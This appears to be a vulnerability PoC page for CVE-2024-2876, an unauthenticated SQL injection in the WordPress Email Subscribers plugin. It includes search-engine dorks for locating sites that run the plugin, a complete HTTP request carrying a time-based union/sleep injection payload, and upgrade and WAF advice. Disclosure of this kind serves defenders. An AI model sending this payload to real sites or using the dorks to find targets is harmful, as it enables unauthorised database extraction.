关联漏洞
标题：
WordPress Plugin email-subscribers SQL注入漏洞
(CVE-2024-2876)
描述：WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress Plugin email-subscribers 5.7.14及之前版本存在SQL注入漏洞，该漏洞源于 IG_ES_Subscribers_Query 中的 run函数对用户提供的参数转义不充分，攻击者利用该漏洞可以将额外的 SQL 查询附
介绍
# CVE-2024-2876
#Description Of Vulnerability:
The Email Subscribers by Icegram Express – Email Marketing, Newsletters, Automation for WordPress & WooCommerce plugin for WordPress is vulnerable to SQL Injection via the ‘run’ function of the ‘IG_ES_Subscribers_Query’ class in all versions up to, and including, 5.7.14 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
#Dork:
1- FOFA : body="/wp-content/plugins/email-subscribers/"
2- publicwww : "/wp-content/plugins/email-subscribers/"
#POC:
POST /wp-admin/admin-post.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
page=es_subscribers&is_ajax=1&action=_sent&advanced_filter[conditions][0][0][field]=status=99924)))union(select(sleep(4)))--+&advanced_filter[conditions][0][0][operator]==&advanced_filter[conditions][0][0][value]=1111
#Youtube POC:
https://www.youtube.com/watch?v=eDEGt_yXyvE
#How to fix ?
Since all versions up to 5.7.14 were detected with the CVE, it’s recommended for users to upgrade the Email Subscribers by Icegram Express plug-in to version 5.7.15 (or the most recent release 5.7.19).
Patchstack users have the option to enable automatic updates specifically for vulnerable plugins.
Implement a WAF/WAAP solution as an additional layer of protection. The advantage of such solutions is that even if the vulnerability is new and unknown (0-day), it may still prevent attacks by detecting exploitation patterns and techniques.
#Resource:
https://www.wordfence.com/blog/2024/04/1250-bounty-awarded-for-unauthenticated-sql-injection-vulnerability-patched-in-email-subscribers-by-icegram-express-wordpress-plugin/
文件快照
[4.0K] /data/pocs/2c78556cd480185a385e362ab2138ce01936f468
├── [ 845] CVE-2024-2876.yaml
└── [1.9K] README.md
0 directories, 2 files
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